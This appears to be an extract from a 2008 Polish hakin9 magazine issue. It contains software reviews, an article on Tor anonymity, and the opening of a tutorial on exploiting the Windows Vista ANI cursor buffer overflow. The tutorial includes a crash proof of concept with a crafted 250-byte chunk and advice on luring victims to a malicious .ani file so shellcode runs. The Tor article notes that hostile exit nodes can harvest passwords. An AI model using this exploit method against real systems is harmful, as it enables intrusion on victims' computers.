• Norton WinDoctor – bardzo przydatne narzędzie, słu-

żące do rozwiązywania najczęstszych problemów
występujących w systemach z rodziny Windows,

• Speed Disk – doskonałe narzędzie, w pełni zastępują-

ce systemowy defragmentator. Regularne stosowanie
pozwala na znaczne przyspieszenie naszego kompu-
tera oraz zmniejszenie liczby operacji wykonywanych
przez głowicę dysku,

• UnErase Wizard – pozwala na odnalezienie i odzyska-

nie plików chronionych przez pakiet Norton Utilities.

Wspomniany wcześniej Norton GoBack jest narzę-
dziem służącym do szybkiego przywrócenia systemu do
wcześniejszego stanu. Pozwala to na naprawę systemu
w przypadku groźnej infekcji przez wirusa, usunięcie
szkód wyrządzonych przez niebezpieczne oprogramowa-
nie lub po prostu odzyskanie ważnych, utraconych danych.
Domyślnie w trakcie instalacji GoBack wymaga przydzie-
lenia przestrzeni równej ok. 10% pojemności dysku twar-
dego, co stanowi dość dużą wartość.

Całość pakietu jest nadzorowana przez usługę LiveUp-

date, która zapewnia uaktualnienia dla wszystkich kompo-
nentów pakietu.

Firma Symantec po raz kolejny stworzyła znakomi-

ty zestaw narzędzi zwiększających bezpieczeństwo i nie-
zawodność sytemu operacyjnego. Pakiet SystemWorks
został wydany w 3 wersjach: Basic Edition, Standard Edi-
tion oraz Premier Edition.

W wersji Standard Edition użytkownik dodatkowo

dostaje ochronę poczty elektronicznej, zabezpieczenie
przed programami typu spyware oraz ochronę plików ścią-
ganych z Internetu (usuwanie niebezpiecznych elemen-
tów). Premier Edition zezwala na tworzenie kopii zapaso-
wych ważnych plików i całych dysków (Norton Ghost).

Pakiet SystemWorks stanowi niezawodne narzędzie do

ochrony systemu operacyjnego oraz danych. Pozwala na
zwiększenie wydajności systemu. Proste i intuicyjne interfej-
sy graficzne stanowią dodatkowy atut. Produkt firmy Syman-
tec jest idealnym rozwiązaniem dla każdego użytkownika
potrzebującego kompleksowej ochrony komputera.

Radosław Matusiak

Producent: Symantec

System: Windows® XP Home/XP Pro/XP Media 2005+

Typ: Narzędzie zabezpieczające

Strona dystrybutora: http://www.softpoint.com.pl

Ocena: 5/5

Norton SystemWorksTM

Basic Edition

Rysunek 1.

Norton SystemWorks Basic Edition

background image

13

hakin9 Nr 3/2008

Narzędzia

W dobie powszechnie występujących w sieci Internet zagro-
żeń, w celu zapewnienia akceptowalnego poziomu bezpie-
czeństwa stacji roboczej nie wystarczy już tylko posiadanie
zaktualizowanego systemu operacyjnego oraz oprogramo-
wania antywirusowego. Obecnie niezbędne jest również
posiadanie sprawdzonego oprogramowania typu personal
firewall. Jednym z najlepszych dostępnych na rynku progra-
mów jest produkt firmy Agnitum – Outpost Firewall Pro.

Za najważniejsze funkcje programu Outpost Firewall Pro

należy uznać:

• ochrona Anti-Leak – zabezpiecza przed znanymi meto-

dami obchodzenia firewalli. Metody te są często wyko-
rzystywane przez złośliwe oprogramowanie,

• ochrona antyspyware (dostępna jako wtyczka) – spraw-

dza, czy w systemie nie znajduje się oprogramowa-
nie szpiegujące (monitorowane są procesy w pamięci,
rejestr, ciasteczka, programy startowe, pliki systemowe),

• autoochrona – moduł ten jest odpowiedzialny za ochro-

nę pakietu Outpost przed działaniem złośliwego opro-
gramowania, mogącym doprowadzić do jego wyłącze-
nia bądź uszkodzenia,

ImproveNet – baza reguł tworzona na podstawie infor-

macji zebranych anonimowo od użytkowników, którzy
wyrazili na to zgodę. Umożliwia automatyczne pobranie
reguł i ograniczenie decyzji podejmowanych przez użyt-
kownika do minimum – jest to szczególnie przydatne dla
mało doświadczonych użytkowników komputerów,

• wykrywanie ataków (dostępne jako wtyczka) – system

IDS (ang. Intrusion Detection System), zabezpiecza
przed znanymi metodami ataków,

• ochrona przed wyciekiem danych (dostępna jako wtycz-

ka) – zabezpiecza przed wysyłaniem danych, o których
program wie, że są prywatne (np. numery kart kredy-
towych). Dane, które mają być chronione, należy wcze-
śniej zdefiniować w programie,

• filtrowanie zawartości (dostępne jako wtyczka) – umoż-

liwia blokowanie dostępu do stron internetowych zawie-
rających niepożądane treści,

• mechanizm wtyczek – umożliwia używanie dodatko-

wych modułów. Outpost jest domyślnie zainstalowany
z następującymi wtyczkami: antyspyware, blokowanie
reklam, filtrowanie zawartości (także aktywnej), filtrowa-
nie załączników, pamięć DNS, wykrywanie ataków),

• kontrola komponentów – monitorowane są wszyst-

kie komponenty każdej zarejestrowanej aplikacji (pliki

EXE oraz DLL). Mechanizm ten wykorzystywany jest do
upewnienia się, że komponent aplikacji nie został pod-
mieniony przez złośliwe oprogramowanie.

Outpost Firewall Pro może pracować w pięciu trybach:

• zezwalaj na wszystko – wszystkie połączenia są dozwo-

lone, komputer nie jest chroniony,

• zezwalaj na większość – dozwolone są wszystkie połą-

czenia za wyjątkiem jawnie zadeklarowanych na firewal-
lu jako zablokowane,

• kreator reguł – program pyta użytkownika o zezwolenia

lub zablokowanie każdego nowego połączenia,

• blokuj większość – zablokowane są wszystkie połącze-

nia za wyjątkiem jawnie zadeklarowanych na firewallu
jako dopuszczone,

• blokuj wszystko - komputer jest odłączony od sieci,

wszystkie połączenia są zablokowane.

Outpost Firewall Pro może pracować w tzw. trybie cichym,
który zapewnia ochronę komputera podczas grania w gry
lub oglądania filmów bez wyświetlania komunikatów.

Jedną z największych zalet programu Outpost Fire-

wall Pro jest możliwość bardzo szczegółowego definiowa-
nia reguł dostępu programów do Internetu. Za duży plus pro-
gramu można też uznać bardzo przejrzysty i gromadzący
dużo informacji dziennik zdarzeń, dzięki któremu jesteśmy
w stanie prześledzić zachowanie naszego komputera
w sieci. Z programem otrzymujemy obszerną dokumentację
w języku polskim (110 stron) w postaci pliku PDF oraz roz-
budowaną pomoc, także w języku polskim, dostępną bezpo-
średnio z programu. Instalacja oraz konfiguracja programu
jest bezproblemowa. Ilość zasobów komputera wykorzysty-
wanych przez program w porównaniu do produktów konku-
rencji jest dużo mniejsza.

Opisywany produkt jest jednym z najlepszych tego typu

programów dostępnych na rynku. Jego obsługa jest intuicyj-
na, dla początkujących użytkowników dostępny jest szereg
mechanizmów ułatwiających konfigurację oraz ograni-
czających konieczność podejmowania przez niego decy-
zji. Z kolei zaawansowanym użytkownikom produkt oferuje
bardzo duże możliwości konfiguracyjne oraz w dużym stop-
niu umożliwia dostosowanie działania programu do specy-
ficznych wymagań. W mojej opinii jest to obecnie najlepszy
program typu personal firewall dla systemów Windows.

Radosław Rydel

Outpost Firewall Pro 4.0

Producent: Agnitum Ltd.

System: Windows 98, Windows ME, Windows 2000, Windows XP

Typ: Personal firewall

Strona producenta: http://www.agnitum.com, http://www.outpost.pl, http://www.dagma.pl

Ocena: 5/5

background image

www.hakin9.org

hakin9 Nr 3/2008

14

Początki

T

ak czy inaczej zacząć warto od paru
podstawowych kwestii. Przede wszyst-
kim, co rozumiemy pod pojęciem anoni-

mowości? Odpowiedniej definicji nie ma nieste-
ty w normach poświęconych bezpieczeństwu
informacji (choć czujemy, że poczucie bycia
anonimowym jakoś zwiększa nasze poczucie
bezpieczeństwa, czasami aż za bardzo). Zazwy-
czaj mówi się, że anonimowość (ang. anonymity)
to cecha uniemożliwiająca identyfikację podmio-
tu – tożsamości osoby lub systemu – oraz unie-
możliwiająca przypisanie kilku różnych działań te-
mu samemu podmiotowi. W tym sensie byłaby
więc anonimowość zaprzeczeniem znanej (choć-
by z normy ISO/IEC 17799) cechy rozliczalno-
ści. Czasami wyróżnia się pojęcie pseudonymity,
które oznacza, że jakkolwiek niemożliwe jest okre-
ślenie tożsamości działającego, można przy-
porządkować różne działania tej samej osobie.
Na przykład możemy otrzymać dwa niepodpisa-
ne listy, z których treści wnosimy, że były wysłane
przez tego samego – jednak wciąż nam nieznane-
go – nadawcę.

Oczywiście nasze działania w Internecie nie

są anonimowe. Wszyscy – począwszy od admi-
nistratora pierwszego routera łączącego nas z sie-
cią, a skończywszy na administratorze serwera

WWW, którego strony przeglądamy – są w stanie
odczytać adres IP, spod którego następuje połą-
czenie, spora część protokołów sieciowych wyko-
rzystuje informacje przesyłane otwartym tekstem,
zaś przeglądarki internetowe informują szeroko
odwiedzane serwery nie tylko o tym, z jakiej wer-
sji (także językowej) systemu operacyjnego wła-
śnie korzystamy, ale również na przykład o tym,
z jakiej strony trafiliśmy na bieżący serwer. Oczy-
wiście również administrator DNSa, z którego
usług korzystamy, może bez trudu dowiedzieć się,
jakie adresy były nam potrzebne (o ile oczywiście
nie posługujemy się stale czystymi, numeryczny-
mi adresami IP).

Ponieważ anonimowość jest albo pełna, albo

w ogóle jej nie ma, musimy zadbać o ukrycie infor-
macji zarówno na poziomie sieci lokalnej, jak i od-

Routing cebulowy

Maciej Szmit

stopień trudności

Anonimowość, czy raczej anonimizacja, jest jednym

z najprostszych sposobów zapewnienia sobie dozy prywatności.

Co więcej – sama anonimizacja jest w Polsce działaniem w pełni

zgodnym z prawem – choć tak się składa, że szczególną dbałość

o swoją anonimowość wykazują osoby, które z prawem mają

stosunkowo mało wspólnego.

Z artykułu dowiesz się

• jak anonimowo surfować po Internecie i kiedy ta

anonimowość jest zagrożona.

Co powinieneś wiedzieć

• co to jest model DoD i ISO/OSI.

background image

Routing cebulowy

hakin9 Nr 3/2008

www.hakin9.org

15

wiedzanych serwerów (a także wszyst-
kich pośredników). Oczywiście, w sie-
ci lokalnej nie uda się nam udawać
na przykład braku aktywności (coś tam
wysyłamy i ściągamy, jakkolwiek może-
my ukryć, co to mianowicie jest), nato-
miast na odwiedzanych serwerach nie
ukryjemy, co zostało pobrane (ale mo-
żemy nie powiedzieć, przez kogo).

Zapewnienie sobie anonimowości

powinno zatem polegać na przynajm-
niej trzech rzeczach:

• przekonaniu naszego lokalne-

go systemu (w tym: przeglądar-
ki WWW, programu pocztowego,
czytnika grup news itd., a także
systemu operacyjnego), żeby nie
zdradzał zbyt wielu informacji o so-
bie.

• wykorzystaniu połączeń szyfrowa-

nych w celu uniemożliwienia sku-
tecznego podsłuchu.

• wykorzystaniu anonimowego po-

średnika (ang. anonymous pro-
xy
), albo – jeszcze lepiej – syste-
mu anonimowych pośredników dla
ukrycia naszego adresu IP.

Na szczęście współczesne metody
szyfrowania umożliwiają nam zesta-
wienie bezpiecznego, tj. zaszyfrowa-
nego, połączenia pomiędzy naszą ma-

szyną (klientem) a pośrednikiem sie-
ciowym. Pytanie tylko, skąd wziąć za-
ufanego pośrednika, co do którego bę-
dziemy mieli pewność, że sam nas nie
podgląda? I tu właśnie z pomocą przy-
chodzi nam TOR.

Pora na TORa

TOR (ang. The Onion Router) jest ze-
społem pośredników służących do tzw.
trasowania cebulowego, które umożli-

wia użytkownikom anonimowy dostęp
do zasobów Internetu. TOR pozwa-
la również na przeglądanie stron blo-
kowanych przez lokalną cenzurę i do-
stawców sieci przy pomocy tzw. ukry-
tych usług, które pozwalają na udo-
stępnianie usług (np. stron WWW) bez
potrzeby ujawniania fizycznej lokaliza-
cji serwera.

Klient podczas łączenia się z sie-

cią TOR pobiera listę węzłów od ser-

Tabela 1.

Co i gdzie komu ujawniamy

Warstwa modelu DoD

Co ujawniamy

Jak i komu

Procesów/Aplikacji

Adresy odwiedzanych hostów

Serwerowi DNS, który rozwiązuje
zapytania, wszystkim routerom po-
między nami a DNSem

Szczegóły ustawień przeglądarki
WWW (w tym wersja systemu ope-
racyjnego, adres odwiedzanej ostat-
nio strony, wersja językowa użytkow-
nika)

Serwerowi WWW, który odwiedza-
my, wszystkim routerom pomiędzy
nami a tym serwerem

Adres pocztowy, hasła dostępowe
w protokołach nieszyfrowanych (np
POP3, FTP, telnet)

Serwerom, z których usług korzysta-
my, wszystkim routerom pomiędzy
nami a tymi serwerami

host to host/Transportowa
Internetu

Adres IP

Wszystkim, z którymi się łączymy,
wszystkim routerom pomiędzy na-
mi a serwerem, z którego usług ko-
rzystamy

Dostępu do sieci

Adres MAC

Wszystkim w sieci lokalnej, w szcze-
gólności routerowi znajdującemu się
pomiędzy siecią lokalną a Internetem

Rysunek 1.

Ruch sieciowy przechwycony podczas przęglądania programem

Mozilla

background image

hakin9 Nr 3/2008

www.hakin9.org

Początki

16

wera katalogowego, a następnie bu-
duje sieć pośredników, której struktu-
ra jest dodatkowo dynamicznie przebu-
dowywana co kilka minut. W ten spo-
sób wysyłane informacje, zanim dojdą
do celu, przechodzą przez kolejne war-
stwy cebuli
– serwery pośredniczące,
na których przepakowywane są w pa-
kiety, opatrywane nowymi adresami
pochodzenia i dodatkowo szyfrowane.
Sieć pośredników zbudowana jest tak,
że każdy z przekaźników po drodze
zna tylko przekaźnik, z którego otrzy-
mał dane i przekaźnik, któremu dane
wysyła (dla każdego skoku w obwodzie
używana jest osobna para kluczy, ża-
den z węzłów połączenia nie jest w sta-
nie odtworzyć trasy pakietu). Co więcej,
wstawienie w którejś z warstw wrogie-
go (podsłuchującego) węzła nie umoż-
liwi zazwyczaj identyfikacji użytkowni-
ka (chyba, że będzie to akurat pierw-
szy węzeł, połączony bezpośrednio
z pechowym użytkownikiem).

TOR ma oczywiście swoje ograni-

czenia. Przede wszystkim szyfrowana
jest komunikacja TCP, natomiast nie
jest to możliwe dla ruchu UDP. Jak się
można spodziewać, po UDP zazwy-
czaj przesyłane są komunikaty DNS
(choć można to zmienić), więc cała
anonimowość staje pod znakiem za-
pytania – przynajmniej, dopóki nie uży-
jemy dodatkowego oprogramowania,
na przykład narzędzia Privoxy, które
zresztą wchodzi w skład pakietu dys-
trybucyjnego TORa. Po wtóre – z oczy-
wistych względów – szyfrowanie nie
dotyczy komunikacji pomiędzy ostat-
nim z pośredników (zwanym węzłem
wyjściowym TORa) a serwerem, z któ-
rego usług chcemy skorzystać. Zwykły
serwer bowiem dostarcza usługi wy-
łącznie w postaci jawnej (nieszyfrowa-
nej), nie mając pojęcia, czy zgłosił się

do niego węzeł wyjściowy TORa, czy
zwykły użytkownik. Nieco inaczej wy-
gląda to w przypadku serwerów usług
ukrytych, które dostępne są w sieci
TOR i szyfrują swoją komunikację od
początku do końca.

Sytuacja taka powoduje, że nie

możemy mówić o zapewnieniu pełnej
anonimowości. Odpowiednie insty-
tucje mogą monitorować aktywność
całej sieci, w tym serwera, a także
ruch wychodzący z podejrzanych wę-
złów TORa i próbować skorelować go
ze sobą (tzw. atak end-to-end timing).
Wielki Brat musi być w tym wypadku
rzeczywiście całkiem spory, najlepiej

bowiem byłoby, żeby mógł monitoro-
wać ruch w całej sieci (albo na przy-
kład w całym państwie). Co więcej
– wrogi węzeł wyjściowy może skie-
rować komunikację do niewłaściwe-
go (podstawionego) serwera. Oczy-
wiście, ponieważ – jak już wspomnia-
no – trasa jest dobierana według spe-
cjalnego algorytmu i okresowo zmie-
niana, zaś lista węzłów pobierana jest
z serwera katalogowego, prawdopo-
dobieństwo takiego zdarzenia jest
stosunkowo niewielkie – należy jed-
nak zachować ostrożność. Na szczę-
ście TOR umożliwia również ręczne
skonfigurowanie węzła wyjściowego.

Co to jest pośrednik (proxy)

Pośrednik (ang. proxy) jest to urządzenie działające w IV i wyższych warstwach mode-
lu referencyjnego ISO/OSI. To, co odróżnia proxy od routera, to fakt, że proxy ustanawia
osobne połączenie (obwód wirtualny TCP) w imieniu swojego klienta, zaś router – jedynie
trasuje datagramy IP przekładając je w ramki zaadresowane do kolejnego routera. W ten
sposób odbiorca pakietów będzie oczywiście widział adres komputera klienckiego, a nie
żadnego z routerów po drodze. W przypadku pośrednika – na serwerze zostanie zauwa-
żony adres tego ostatniego, bowiem to on nawiązuje połączenie. W przypadku routera z
funkcją sNAT (podmieniającego źródłowy adres IP w pakietach wychodzących z sieci na
własny), na serwerze będzie widoczny adres publicznego interfejsu NATa.

W Sieci

http://www.torproject.org,
http://www.torrify.com,
http://www.showmyip.com/torstatus/.

Rysunek 2.

Ruch sieciowy

Torpachem

Rysunek 3.

Różnice między routerem a pośrednikiem

������

�����

��������������

�����������

���������

���������

��������

����������

����������

��������������

����������������

background image

Routing cebulowy

hakin9 Nr 3/2008

www.hakin9.org

17

TOR dla opornych

Najprostszą metodą skorzystania z TO-
Ra jest zainstalowanie opartej na Mozilli
aplikacji XeroBank Browser (wcześniej-
sza nazwa Torpark), dostępnej pod ad-
resem http://www.torrify.com. Przeglą-
darka ta ma wbudowanego klienta sieci
TOR, którego wykorzystuje do łączenia
się z odwiedzanymi stronami WWW.
Co istotne, program ten anonimizuje
również ruch DNS, dzięki czemu pod-
słuchujący widzi jedynie czysty stru-
mień TCP skierowany od naszej ma-
szyny do wejściowego węzła TORa.

Temat deanonimizacji TORa po-

wraca regularnie przy różnych oka-
zjach. Na szczęście TOR jest pomy-
ślany i zrealizowany dość porządnie,
a poruszające wieści okazują się czę-
sto niewypałami. No, może nie tyle nie-
wypałami, co hakowaniem ludzi za-
miast technologii. Dla przykładu: wy-
starczy uruchomić kilka wrogich wę-
złów TORa z logowaniem ruchu sie-
ciowego, żeby po odpowiednim cza-
sie zdobyć hasła użytkowników, którzy
uwierzyli, że transmisja haseł SMTP
czy FTP staje się po użyciu TORa bez-
pieczna. Z uwagi na sposób działania
algorytmu wyboru ścieżki TORa, wro-
gi węzeł stanie się wcześniej czy póź-
niej dla kogoś węzłem końcowym,
a – jak pamiętamy – ruch od końcowe-
go węzła do serwera nie jest szyfrowa-
ny. Choć wydaje się to dziwne, meto-
da ta rzeczywiście działa – w 2007 ro-

ku pewien szwedzki dziennikarz opubli-
kował listę haseł 100 VIPów korzystają-
cych w ten sposób z TORa. Innym spo-
sobem, wymyślonym przez H.D. Mo-
ore’a (tego od Metasploita), jest wy-
korzystanie rozlicznych pluginów, od
których roi się w przeglądarkach: mo-
że da się jakoś przekonać oprogramo-
wanie obsługujące JavaScript czy Fla-
sha, żeby jednak podało prawdziwe IP
przeglądarki? Oczywiście, jeśli zale-
ży nam na anonimowości, to można
(trzeba!) te wszystkie dodatki powy-
łączać. Istnieją też serwisy, w których
można sprawdzić, co nasza przeglą-
darka pokazuje na zewnątrz – również
w odniesieniu do obsługi skryptów. Na
przykład możemy to uczynić na stronie
http://www.showmyip.com/torstatus.

Jeśli chcemy zanonimizować coś

więcej niż tylko przeglądarkę, powin-
niśmy sięgnąć po wersję instalacyjną
TORa. W skład pakietu instalacyjnego
TORa dla Windows wchodzi (oprócz
klienta sieci TOR) wspomniane już
Privoxy (serwer proxy odpowiadający,
oprócz wspomnianej wcześniej ano-
nimizacji żądań DNS, za obsługę co-
okies, filtrowanie treści i bannerów na
stronach WWW), Vidalia (odpowiada-
jąca za konfigurację poszczególnych
komponentów i dodatkowo chronią-
ca komputer) oraz Torbutton – doda-
tek do Mozilli umożliwiający łatwe włą-
czanie i wyłączanie TORa. Wszystko
razem możemy ściągnąć (oczywiście
bezpłatnie) ze stron projektu TOR:
http://www.torproject.org
. W tym sa-
mym miejscu możemy znaleźć do-
kładne informacje o sposobie instalacji
pakietu (po polsku i w paru innych ję-
zykach). W zasadzie (jeśli nie zamie-
rzamy sami zostawać węzłem cebu-
li) wszystko sprowadza się do użycia
zupełnie oczywistego kreatora. Jedy-

nym drobiazgiem jest to, że po zakoń-
czeniu instalacji i uruchomieniu TO-
Ra, Vidalii i Privoxy musimy skonfigu-
rować aplikacje sieciowe, aby korzy-
stały z pośrednika (czyli właśnie pro-
gramu Privoxy). Na przykład w Mozilli
(o ile nie zainstalowaliśmy aplika-
cji TORbutton) musimy wybrać z me-
nu odpowiednio opcje: Narzędzia –>
Opcje –> Zaawansowane –> Sieć –>
Ustawienia –> Ręczna konfiguracja
serwerów proxy
i w edytorze Serwer
proxy HTTP podać adres 127.0.0.1
i port 8118. Bez tego ruch sieciowy ge-
nerowany przez nas nie będzie oczy-
wiście przechodził przez TORa, pozo-
stanie więc niezaszyfrowany i nie ano-
nimizowany.

Na koniec warto wspomnieć o pod-

stawowym mankamencie TORa: spo-
walnianiu łączności. Oczywiście sto-
pień spowolnienia zależy od tego, ja-
kie węzły będą pośredniczyły w na-
szej komunikacji, niemniej wrażenie
bywa przytłaczające – zwłaszcza, je-
śli dysponujemy porządnym łączem
internetowym. Dla przykładu, w cza-
sie pisania tego artykułu zmierzyłem
prędkość pobierania za pomocą ser-
wisu www.numion.org dla połącze-
nia nieanonimizowanego i anonimi-
zowanego. Wynosiła ona odpowied-
nio około 30 Mbps (sieć akademic-
ka – Fast Ethernet do sieci kampu-
sowej i dalej światłowód do NASKu)
oraz w okolicach 50 kbps. Przy mniej-
szych szerokościach pasma różnice
nie są aż tak drastyczne, niemniej ce-
ną za prywatność jest w tym wypad-
ku pogorszenie komfortu pracy. Ale
w informatyce jak w życiu (a może na-
wet bardziej) – nic za darmo.

Podsumowanie

TOR jest interesującym (i dość sku-
tecznym) sposobem zapewniania pry-
watności poprzez anonimizację swo-
ich działań w Sieci. Jego najsłabszy-
mi punktami są niewątpliwie: znacz-
ne spowolnienie prędkości transmisji
danych oraz konieczność dokładnego
skonfigurowania wszystkich elemen-
tów systemu, które mogłyby zdradzić
tożsamość użytkownika. Na pytanie,
czy konieczność myślenia jest poważ-
nym problemem, każdy musi odpowie-
dzieć sobie sam. l

O autorze

Maciej Szmit jest adiunktem w Kate-
drze Informatyki Stosowanej
Politechniki Łódzkiej.
Kontakt z autorem:
maciej.szmit@gmail.com

Rysunek 4.

Zasady działania sieci TOR

������

���������������������

������������������������

������

���������

���������

���������

�����

�������������

background image

www.hakin9.org

hakin9 Nr 3/2008

18

Atak

W

styczniu 2007 roku koncern z
Redmond zaprezentował użyt-
kownikom swój nowy produkt

– system operacyjny Windows NT 6.0, zwany
Vistą. Według twórców cechował się on ład-
niejszą oprawą graficzną, większą wygodą ob-
sługi, a przede wszystkim – znacznie polepszo-
nym bezpieczeństwem. W tym celu zmieniono
kilka istotnych elementów systemu, rozprowa-
dzano wraz z systemem przeglądarkę Inter-
net Explorer 7 oraz oprogramowanie Windows
Defender. Wprowadzono też szereg ułatwień
mających poprawić komfort pracy na koncie
z ograniczonymi prawami. Jednak nawet mimo
podjętego wysiłku nie uchroniono systemu od
błędów. Jednym z nich jest opisywana podat-
ność – przepełnienie bufora związane z animo-
wanym kursorem.

ANI i RIFF, czyli co czym się je

Wszystkie animowane kursory znajdują się
w plikach o rozszerzeniu .ani, np. dinozaur.ani.
Format .ani jest odmianą formatu RIFF firmy
Microsoft. RIFF (ang. Resource Interchange
File Format
– format wymiany informacji o za-
sobach) określa sposób zapisywania danych
do pliku. Informacje są rozdzielone od siebie

odpowiednimi elementami, zwanymi tagami
(można je porównać do znaczników w języ-
ku HTML). Dodatkowo elementy są podzie-
lone na kawałki (ang. chunks), z których każ-
dy zawiera jakąś porcję danych. Przyjrzyjmy
się nieco bliżej strukturze związanej z plikiem
o rozszerzeniu .ani. Jest ona przedstawiona
na Listingu 1.

Struktura

ANIHeader

, jak sama nazwa

wskazuje, jest nagłówkiem, który opisuje da-
ną porcję informacji (czyli

ANIChunk

). Zawiera

podstawowe informacje niezbędne dla takiego

Hakowanie Visty

Konrad Zuwała

stopień trudności

Windows Vista był przez firmę Microsoft zapowiadany, jako

całkowita rewolucja w bezpieczeństwie systemów operacyjnych.

Jednak czas pokazał, że jest to tylko iluzja, a w Viście znajdowane

są kolejne błędy. Czy Vista rzeczywiście jest tak bezpieczna, jak

zapewnia jej producent?

Z artykułu dowiesz się

• w jaki sposób wykorzystać poważny błąd Win-

dows Vista tak, aby wykonać własny kod,

• w jaki sposób przeprowadzić atak DoS na plat-

formie Vista.

Co powinieneś wiedzieć

• umieć programować w C,
• znać podstawy WinAPI,
• umieć korzystać z narzędzi debugujących,
• znać podstawy asemblera.

background image

Hakowanie Visty

hakin9 Nr 3/2008

www.hakin9.org

19

pliku. Bardziej interesującą jest do-
celowa porcja danych, czyli struktu-
ra

ANIChunk

. Zawiera ona 3 zmienne,

z których nas interesują w zasadzie
dwie:

tag

i

data

. Rozmiar danych za-

pisywanych do struktury

ANIHeader

nie może być większy niż 36 bajtów,
w przeciwnym wypadku będzie-
my mieli do czynienia z przepełnie-
niem bufora, które pozwoli nam wy-
konać dowolny shellcode na kom-
puterze ofiary. Zatem spreparowa-
na struktura musi mieć więcej baj-

tów niż przewiduje specyfikacja, na-
tomiast tablica

data

musi zawierać

offset (ciąg instrukcji o pewnej okre-
ślonej długości, które nic nie robią),
a następnie shellcode, który zosta-
nie wykonany przez Eksploratora
Windows. Ten, aby odczytać dany
plik z animacją, ikoną lub inną por-
cją danych multimedialnych (czyli
zapisanych w formacie RIFF bądź
ANI), otworzy nasz plik, a następ-
nie za pomocą odpowiednich funkcji
WinAPI zacznie obrabiać jego za-

wartość. To umożliwi nam wykona-
nie kodu exploita. Najpierw jednak
musimy poznać funkcję Windows,
która jest za to odpowiedzialna.

Przepełnienie

bufora funkcji

Kod funkcji zaprezentowany jest na
Listingu 2. Najpierw odczytywany
jest tag, a następnie – w zależno-
ści jego zawartości dokonywane są
odpowiednie operacje. W przypad-
ku, gdy tag to

anih

(skrót od .ani he-

ader), następuje odczytanie chun-
ku
, czyli docelowej porcji danych
– w której to zostanie umieszczony
nasz shellcode. Jedyne, co musimy
jeszcze zrobić, to wyznaczyć wiel-
kość tzw. offsetu, czyli przesunię-
cia w stosunku do nadpisywanego
adresu powrotu z bieżącej funkcji.

Przepełnienie bufora w tym

przypadku zaowocuje wykona-
niem naszego kodu przez Eks-
ploratora Windows. A ściślej mó-
wiąc – kod zostanie wykonany
w kontekście Eksploratora, po-
przez podłączenie się do tego
procesu. Wadą takiego rozwiąza-
nia jest to, iż Eskplorator Windows
działa w kontekście użytkownika,
który go aktualnie uruchomił. Gdy
jest to użytkownik z ograniczenia-
mi, wtedy, mając tak ograniczone
prawa dostępu, nie możemy zrobić
praktycznie nic ciekawego. Jednak
niedobrą praktyką wśród użytkow-
ników systemu Windows stało się
stałe korzystanie z konta admini-
stracyjnego, co wydatnie obniża
bezpieczeństwo systemu opera-
cyjnego.

Aby Eksplorator Windows wy-

konał nasz kod, jedyne, co musi-
my zrobić to po prostu umieścić
odpowiednio spreparowaną ikon-
kę (czyli nasz plik z rozszerzeniem
.ani) na stronie internetowej bądź
w folderze na atakowanym kompu-
terze – tak, aby ofiara odwiedzi-
ła tę lokalizację i otworzyła spre-
parowany plik. Naturalnym wydaje
się więc umieszczenie danego pli-
ku (a raczej grupy plików – o tym
za chwilę) na stronie internetowej
i czekanie, aż nasza ofiara odczy-
ta zawartość fałszywego pliku.

Listing 1.

Struktury związane z formatem pliku .ani

struct

ANIChunk

{

char

tag

[

4

];

//

tag

ASCII

DWORD

size

;

//

rozmiar

danych

w

bajtach

char

data

[

size

];

//

dane

}

struct

ANIHeader

{

DWORD

rozmiar

//

ilo

ść

bajt

ó

w

w

nag

łó

wku

(

36

bajt

ó

w

)

DWORD

rIkony

;

//

ilo

ść

unikatowych

ikon

DWORD

kroki

;

//

ilo

ść

operacji

bitowych

,

nim

zacznie

si

ę

animacja

DWORD

x

,

y

;

//

zarezerwowane

,

musz

ą

by

ć

ustawione

na

zero

DWORD

lbit

,

lcnt

;

//

jak

wy

ż

ej

DWORD

licznikSzybkosc

;

//

licznik

,

1

/

60

sekundy

,

je

ś

li

nie

ustawiono

inaczej

DWORD

flagi

;

//

flagi

animacji

}

Listing 2.

Funkcja LoadAniIcon

int

LoadAniIcon

(

struct

MappedFile

*

file

, ...

)

{

struct

ANIChunk

chunk

;

struct

ANIHeader

header

;

//

36

-

bajtowa

struktura

...

while

(

1

)

{

//

czytaj

pierwsze

8

bajt

ó

w

ReadTag

(

file

,

&

chunk

);


switch

(

chunk

.

tag

)

{

case

'

seq

'

:

...

case

'

LIST

'

:

...

case

'

rate

'

:

...

case

'

anih

'

:

ReadChunk

(

file

,

&

chunk

,

&

header

);

Listing 3.

Spreparowana struktura ANIChunk – wstęp do zawieszenia

systemu Windows

struct

ANIChunk

{

char

tag

[

4

]=

anih

;

DWORD

size

=

250

;

char

data

[

size

]=

AAAA

.....

AAA

;

//

250

razy

litera

A

}

ani

;

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

20

Demonstracja exploita

– zawieszenie systemu

Zanim zajmiemy się dopracowywa-
niem exploita, najpierw musimy po-
kazać jego działanie, które sprowa-
dzi się do dość prymitywnego za-
wieszenia systemu. Jak należy to
zrobić? Otóż wystarczy spreparo-
wać odpowiednio wielką strukturę

– tak, aby naruszyć ochronę pamięci
w systemie. Definicję takiej struktury
przedstawia Listing 3.

Strukturę o pokazanej na listin-

gu postaci zapisujemy do pliku .ani,
który otwieramy, a następnie cieszy-
my się brakiem stabilności systemu.
Z czystej ciekawości można obej-
rzeć plik w edytorze heksadecymal-

nym – wygląda tak, jak jest to poka-
zane na Listingu 4.

Widać, że początkowa zawar-

tość obejmuje informacje dotyczą-
ce typu pliku, dalej znajduje się tag,
którego użyliśmy, aby możliwe było
przepełnienie bufora. Potem nastę-
puje ciąg 250 liter A (naturalnie, na
listingu z oczywistych powodów nie
ma wszystkich liter). Całość otwar-
ta w Eksploratorze Windows powin-
na zawiesić system.

Offset, problem z ASLR

Windows Vista jest systemem, któ-
ry firma Microsoft reklamuje ja-
ko niezwykle bezpieczny. W dużej
mierze nie są to puste słowa. Aby
znacząco zwiększyć bezpieczeń-
stwo systemu Windows, wprowa-
dzono ASLR. ASLR (ang. Address
Space Layout Randomization
, co
można tłumaczyć na losowy roz-
kład przestrzeni adresowej
) jest
techniką, która – jak sama nazwa
wskazuje – polega na wprowadze-
niu pewnego elementu losowo-
ści do adresów w pamięci biblio-
tek oraz funkcji, z których korzy-
sta program. Co to dla nas ozna-
cza? Otóż różne systemy Win-
dows Vista będą miały odpowied-
nie komponenty pod różnymi adre-
sami w pamięci. Kontynuując, nie
pozwoli nam to na ustalenie jedne-
go, stałego offsetu pomiędzy adre-
sem powrotu funkcji a adresem ta-
blicy, w której się aktualnie znajdu-
jemy. Jednak tak naprawdę nie jest
to szczególna przeszkoda – jak by
